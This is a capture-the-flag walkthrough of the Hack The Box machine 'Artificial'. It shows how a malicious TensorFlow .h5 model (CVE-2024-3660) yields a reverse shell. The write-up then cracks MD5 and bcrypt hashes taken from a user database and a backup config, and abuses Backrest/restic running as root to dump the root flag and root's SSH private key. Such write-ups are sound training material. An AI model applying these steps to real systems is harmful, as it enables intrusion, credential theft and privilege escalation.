> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Artificial (Easy) - HTB

> Linux | Released on 21st June, 2025 | Created by FisMatHack

## Starting the box

***

<img src="https://mintcdn.com/hackwithmike/DlwbzneMkgXAGXmy/assets/images/htb/artificial/pwned.png?fit=max&auto=format&n=DlwbzneMkgXAGXmy&q=85&s=db29ca00cf7f19cc68b19103750b56d4" noZoom width="1005" height="961" data-path="assets/images/htb/artificial/pwned.png" />

Link to the box: [https://app.hackthebox.com/machines/Artificial](https://app.hackthebox.com/machines/Artificial).

### Port Scan

We start off the box by running a port scan on the provided IP.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
rustscan --ulimit 5000 -a 10.10.11.74 -r 1-65535 -- -A -vvv -oN Artificial
```

Output of Nmap:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/...
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)

80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
```

A few key notes:

* Port 22 (SSH) is open. Running `OpenSSH 8.2p1` — we'll keep this in mind for later.
* Port 80 (HTTP) is open, served by `nginx 1.18.0`. The Nmap output tells us the server immediately redirects to `http://artificial.htb/`, so we need to add this to our hosts file.
* OS is Linux (Ubuntu).

### Edit the Hosts file

As always, we edit the `/etc/hosts` file to add the hostname:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/hosts
```

/etc/hosts

```text title="Nano Interface" icon="file-lines" wrap theme={null}
10.10.11.74 artificial.htb
```

## Initial Foothold

***

### Enumerating Port 22: SSH

`OpenSSH 8.2p1` doesn't have any straightforward publicly known exploits. Without credentials, SSH isn't useful right now. Let's focus on the web server.

### Enumerating Port 80: Web Server

#### Directory Busting

##### Feroxbuster:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
feroxbuster -u http://artificial.htb -C 404
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
200      GET       28l       60w      857c http://artificial.htb/login
302      GET        5l       22w      189c http://artificial.htb/logout => http://artificial.htb/
200      GET       33l       65w      952c http://artificial.htb/register
200      GET      313l      666w     6610c http://artificial.htb/static/css/styles.css
200      GET       33l       73w      999c http://artificial.htb/static/js/scripts.js
200      GET      161l      472w     5442c http://artificial.htb/
302      GET        5l       22w      199c http://artificial.htb/dashboard => http://artificial.htb/login
```

* `/login` and `/register` endpoints exist — we can create an account.
* `/dashboard` redirects to `/login`, confirming it requires authentication.
* Nothing too unusual yet. Let's explore the application.

#### Manual Enumeration

After registering an account and logging in, the dashboard greets us with:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Your Models
Upload, manage, and run your AI models here.
```

* This is an AI model management platform that lets users upload models.
* We tried template injection payloads in available input fields — nothing returned.

The application provides a **Dockerfile** and **requirements.txt** for download, which immediately tells us the server-side environment:

**Dockerfile:**

```text title="Terminal Output" icon="file-lines" wrap theme={null}
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/.../tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]
```

**requirements.txt:**

```text title="Terminal Output" icon="file-lines" wrap theme={null}
tensorflow-cpu==2.13.1
```

* The server is running **TensorFlow 2.13.1** in a Python 3.8 environment.
* The upload endpoint expects `.h5` files — the standard format for saving Keras/TensorFlow models.

The page also includes a sample model-building script:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
...
model.save('profits_model.h5')
```

* This confirms `.h5` is the expected format and that models are loaded server-side. This is a classic file-upload-to-RCE scenario if the model format is unsafe.

### Exploiting TensorFlow: Malicious `.h5` Model (CVE-2024-3660)

A quick search reveals **CVE-2024-3660** — Remote Code Execution via a malicious TensorFlow/Keras model. When the server loads an untrusted `.h5` model file, arbitrary Python code embedded in the model's Lambda layers gets executed.

* [Splinter0/tensorflow-rce](https://github.com/Splinter0/tensorflow-rce) — exploit PoC for CVE-2024-3660
* The vulnerability affects TensorFlow 2.13 — which is exactly what this box uses.

#### Building the Exploit in Docker

Since we need to generate the malicious `.h5` file in an environment that matches the target (TensorFlow 2.13 / Python 3.8), we use the provided Dockerfile to build a matching container.

<Accordion title="Dead-end: VirtualBox Docker issues (feel free to read along what I did)">
  We hit a frustrating wall initially — running the exploit inside Docker on our Kali VM (VirtualBox) consistently produced:

  ```text title="Terminal Output" icon="file-lines" wrap theme={null}
  root@8c5b369369f7:/code# python /app/exploit.py
  Illegal instruction (core dumped)
  ```

  This turned out to be a known VirtualBox/QEMU CPU compatibility issue with certain TensorFlow builds — not a problem with the exploit itself. After trying various approaches (clearing Docker cache, rebuilding from scratch), the fix was to **run Docker on Windows via WSL** instead of inside the VirtualBox VM. This resolved the `Illegal instruction` error immediately.
</Accordion>

**Steps to build and run the exploit container:**

**Step 1:** Build the Docker image from the provided Dockerfile (inside the folder containing it):

```sh title="Attacker Linux" icon="linux" wrap theme={null}
sudo docker build -t artificial .
```

**Step 2:** Run the container with our working directory mounted so we can access the generated exploit file:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
sudo docker run -it -v $(pwd):/app artificial
```

* `-v $(pwd):/app` mounts our current directory into `/app` inside the container, so files created inside are accessible on our host.

Inside the container, we run the exploit script to generate a malicious `exploit.h5` file with a reverse shell payload embedded in a Lambda layer.

#### Getting a Shell

We upload the generated `exploit.h5` via the web dashboard. The server loads the model, triggering our embedded payload. Our listener catches the connection:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
nc -nlvp 4444
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
listening on [any] 4444 ...
connect to [10.10.14.x] from (UNKNOWN) [10.10.11.74] ...
$ whoami
app
```

* We have a shell as the `app` user.

### Post-Initial Enumeration (as `app`)

#### Finding Credentials in the Flask App

Let's look at the web application source. We find the Flask secret key in `app.py`:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
```

* Noted for potential session forging, though we won't need it.

#### Finding the SQLite Database

Searching the app's instance directory, we find a user database:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
app@artificial:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
```

* Five users with password hashes. The 32-character hex format is **MD5** (hashcat mode 0).
* Let's target `gael` first — they're likely the primary user on the box.

#### Cracking gael's Hash

```sh title="Attacker Linux" icon="linux" wrap theme={null}
hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
c99175974b6e192936d97224638a34f8:mattp005numbertwo
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael:mattp005numbertwo
```

We also check `/etc/passwd` to confirm `gael` has a shell:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael:x:1000:1000:gael:/home/gael:/bin/bash
```

### Logging in as gael

```sh title="Attacker Linux" icon="linux" wrap theme={null}
ssh gael@10.10.11.74
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt
42550009838ced1ae7aa3a56397487b6
```

* User flag: `42550009838ced1ae7aa3a56397487b6`.

## Privilege Escalation

***

### Post-ex Enumeration

#### Running LinPEAS

Let's transfer and run LinPEAS to look for escalation paths:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
python -m http.server 8088
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael@artificial:/tmp$ wget 10.10.14.x:8088/linpeas.sh && sh ./linpeas.sh
```

A few key findings:

**Active Ports:**

```text title="Terminal Output" icon="file-lines" wrap theme={null}
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
```

* Port `9898` is listening locally — likely the Backrest service we saw in `/opt`.
* Port `5000` is also internal (probably the Flask app backend).

**Interesting backup file:**

```text title="Terminal Output" icon="file-lines" wrap theme={null}
drwxr-xr-x 2 root root 4096 Sep 27 06:25 /var/backups
-rw-r----- 1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz
```

* A large backup archive owned by root, group-readable by `sysadm`. Let's check if we're in that group.

### Discovering Backrest

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael@artificial:/opt/backrest$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
```

* We're in the `sysadm` group, so we can read `backrest_backup.tar.gz`.

Let's look at what's in `/opt/backrest`:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
gael@artificial:/opt/backrest$ ls -la
total 51116
drwxr-xr-x 5 root root         4096 Sep 27 07:50 .
drwxr-xr-x 3 root root         4096 Mar  4  2025 ..
-rwxr-xr-x 1 app  ssl-cert 25690264 Feb 16  2025 backrest
drwxr-xr-x 3 root root         4096 Mar  3  2025 .config
-rwxr-xr-x 1 app  ssl-cert     3025 Mar  3  2025 install.sh
-rw------- 1 root root           64 Mar  3  2025 jwt-secret
-rw-r--r-- 1 root root        77824 Sep 27 07:50 oplog.sqlite
-rwxr-xr-x 1 root root     26501272 Mar  3  2025 restic
drwxr-xr-x 2 root root         4096 Mar  3  2025 processlogs
drwxr-xr-x 3 root root         4096 Sep 27 07:50 tasklogs
```

* `backrest` is a backup management tool running as root, with a web UI on port `9898`.
* `restic` is the underlying backup engine. It's [listed on GTFOBins](https://gtfobins.github.io/gtfobins/restic/) as a tool that can be abused for privilege escalation.

Running `./backrest` shows us the version and confirms the web UI is bound to `127.0.0.1:9898`:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025-09-27T08:00:15.050Z        INFO    starting web server 127.0.0.1:9898
2025-09-27T08:00:15.050Z        ERROR   error starting server   {"error": "listen tcp 127.0.0.1:9898: bind: address already in use"}
```

* The service is already running. We need to access it from our attacker machine via port forwarding.

### Accessing Backrest via SSH Port Forwarding

```sh title="Attacker Linux" icon="linux" wrap theme={null}
ssh -N -L 0.0.0.0:9898:127.0.0.1:9898 gael@10.10.11.74
```

Now we can browse to `http://127.0.0.1:9898` on our machine. The Backrest login page is presented — but our current credentials don't work.

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Backrest 1.7.2
```

* No public exploits for this version. We need valid credentials.

### Extracting Credentials from the Backup Archive

Let's pull the backup archive down to our machine:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
scp gael@10.10.11.74:/var/backups/backrest_backup.tar.gz /home/kali/Desktop/HTB/Artificial/backrest_backup.tar.gz
```

Extract it (note: despite the `.gz` extension, it's a plain `.tar`):

```sh title="Attacker Linux" icon="linux" wrap theme={null}
tar -xvf backrest_backup.tar.gz
```

Inside we find a `config.json` with Backrest's user configuration:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
```

* A user named `backrest_root` with a `passwordBcrypt` field. The value looks like base64 — let's decode it.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
```

* A bcrypt hash (`$2a$`). Hashcat mode 3200.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
backrest_root:!@#$%^
```

* Logged into the Backrest web UI.

### Abusing Backrest to Read Root Files

With admin access to Backrest, we can configure backup repositories and run backup jobs. Since `restic` (Backrest's backend) runs as `root`, we can use it to read any file on the system.

The approach:

1. Create a new backup repository at `/tmp/backup`
2. Add the `/root` directory as a backup source
3. Run the backup job to snapshot the `/root` directory
4. Use the web CLI to dump files directly from the snapshot

Using the Backrest web CLI:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
snapshots
```

This shows us the snapshot ID. We then dump the root flag:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
dump 23bf160b /root/root.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
command: /opt/backrest/restic dump 23bf160b /root/root.txt -o sftp.args=-oBatchMode=yes
0f05692aec3981fe17d04719ff75f304
```

* Root flag: `0f05692aec3981fe17d04719ff75f304`.

Let's also grab root's SSH private key for persistence:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
dump 11590e78 /root/.ssh/id_rsa
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
command: /opt/backrest/restic dump 11590e78 /root/.ssh/id_rsa -o sftp.args=-oBatchMode=yes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5dXD22h0xZcysyHyRfknbJXk5O9tVagc1wiwaxGDi+eHE8vb5/Yq
...
-----END OPENSSH PRIVATE KEY-----
```

* We now have root's private key and can SSH in directly as `root`.

## Key Learnings

***

#### 1. TensorFlow/Keras Malicious Model RCE (CVE-2024-3660)

TensorFlow's `.h5` model format supports Lambda layers that execute arbitrary Python code when the model is loaded. By crafting a malicious `.h5` file with a reverse shell payload in a Lambda layer, any application that loads untrusted models is vulnerable to RCE. Applications should never load model files from untrusted sources, and TensorFlow ≥ 2.13 is affected.

#### 2. Docker Environment Compatibility

When generating exploit files that rely on specific library versions, the execution environment matters. Running Docker inside VirtualBox can cause `Illegal instruction (core dumped)` errors due to CPU instruction set mismatches (AVX/AVX2). If this happens, try running Docker natively on Windows via WSL instead.

#### 3. Encoded Hashes in Configuration Files

Backup tools and other services sometimes store bcrypt hashes in their config files encoded in base64 rather than raw. Always run suspected hash strings through a base64 decode before attempting to crack them — a `$2a$` prefix after decoding indicates bcrypt (hashcat mode 3200).

#### 4. Abusing Backup Tools for Privileged File Read

`Backrest` (and its backend `restic`) runs with elevated privileges to perform system backups. If an attacker gains admin access to the Backrest web UI, they can configure a backup job targeting any directory (e.g., `/root`) and use the `dump` command to read arbitrary privileged files, including `root.txt` and SSH private keys.

## Tags

***

### Initial Access

\#Web\_Exploit #File\_Upload #AI\_Model\_RCE #Public\_Exploit #Credentials\_Hunting

### Privilege Escalation

\#Credentials\_Hunting #Backup\_Abuse #Backup\_Tools
